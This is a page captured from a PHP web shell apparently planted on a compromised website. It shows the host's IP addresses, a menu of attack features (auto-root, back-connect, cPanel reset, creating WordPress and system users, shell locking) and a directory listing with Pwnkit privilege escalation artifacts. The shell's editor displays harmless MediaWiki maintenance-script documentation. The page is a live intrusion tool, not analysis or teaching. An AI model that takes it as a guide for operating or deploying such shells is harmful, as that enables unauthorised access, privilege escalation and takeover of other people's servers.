Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
thearyasamaj /
public_html /
discover /
docs /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
code-coverage
[ DIR ]
drwxr-xr-x
databases
[ DIR ]
drwxr-xr-x
html
[ DIR ]
drwxr-xr-x
php-memcached
[ DIR ]
drwxr-xr-x
uidesign
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
README
607
B
-rw-r--r--
database.txt
8.78
KB
-rw-r--r--
deferred.txt
1.66
KB
-rw-r--r--
design.txt
5
KB
-rw-r--r--
distributors.txt
11.64
KB
-rw-r--r--
doxygen_first_page.php
477
B
-rw-r--r--
export-0.1.xsd
2.31
KB
-rw-r--r--
export-0.2.xsd
3.1
KB
-rw-r--r--
export-0.3.xsd
4.76
KB
-rw-r--r--
export-0.4.xsd
7.27
KB
-rw-r--r--
export-0.5.xsd
7.39
KB
-rw-r--r--
export-0.6.xsd
7.65
KB
-rw-r--r--
export-demo.xml
4.77
KB
-rw-r--r--
globals.txt
2.14
KB
-rw-r--r--
hooks.txt
93.68
KB
-rw-r--r--
language.txt
1.19
KB
-rw-r--r--
linkcache.txt
972
B
-rw-r--r--
magicword.txt
3.06
KB
-rw-r--r--
maintenance.txt
1.62
KB
-rw-r--r--
memcached.txt
8.18
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
schema.txt
359
B
-rw-r--r--
scripts.txt
2.8
KB
-rw-r--r--
skin.txt
3.31
KB
-rw-r--r--
title.txt
3.88
KB
-rw-r--r--
upload.txt
135
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : maintenance.txt
Prior to version 1.16, maintenance scripts were a hodgepodge of code that had no cohesion or formal method of action. Beginning in 1.16, maintenance scripts have been cleaned up to use a unified class. 1. Directory structure 2. How to run a script 3. How to write your own 1. DIRECTORY STRUCTURE The /maintenance directory of a MediaWiki installation contains several subdirectories, all of which have unique purposes. 2. HOW TO RUN A SCRIPT Ridiculously simple, just call 'php someScript.php' that's in the top- level /maintenance directory. Example: php clear_stats.php The following parameters are available to all maintenance scripts --help : Print a help message --quiet : Quiet non-error output --dbuser : The database user to use for the script (if needed) --dbpass : Same as above (if needed) --conf : Location of LocalSettings.php, if not default --wiki : For specifying the wiki ID --batch-size : If the script supports batch operations, do this many per batch 3. HOW TO WRITE YOUR OWN Make a file in the maintenance directory called myScript.php or something. In it, write the following: ==BEGIN== <?php require_once( "Maintenance.php" ); class DemoMaint extends Maintenance { public function __construct() { parent::__construct(); } public function execute() { } } $maintClass = "DemoMaint"; require_once( RUN_MAINTENANCE_IF_MAIN ); ==END== That's it. In the execute() method, you have access to all of the normal MediaWiki functions, so you can get a DB connection, use the cache, etc. For full docs on the Maintenance class, see the auto-generated docs at http://svn.wikimedia.org/doc/classMaintenance.html
Close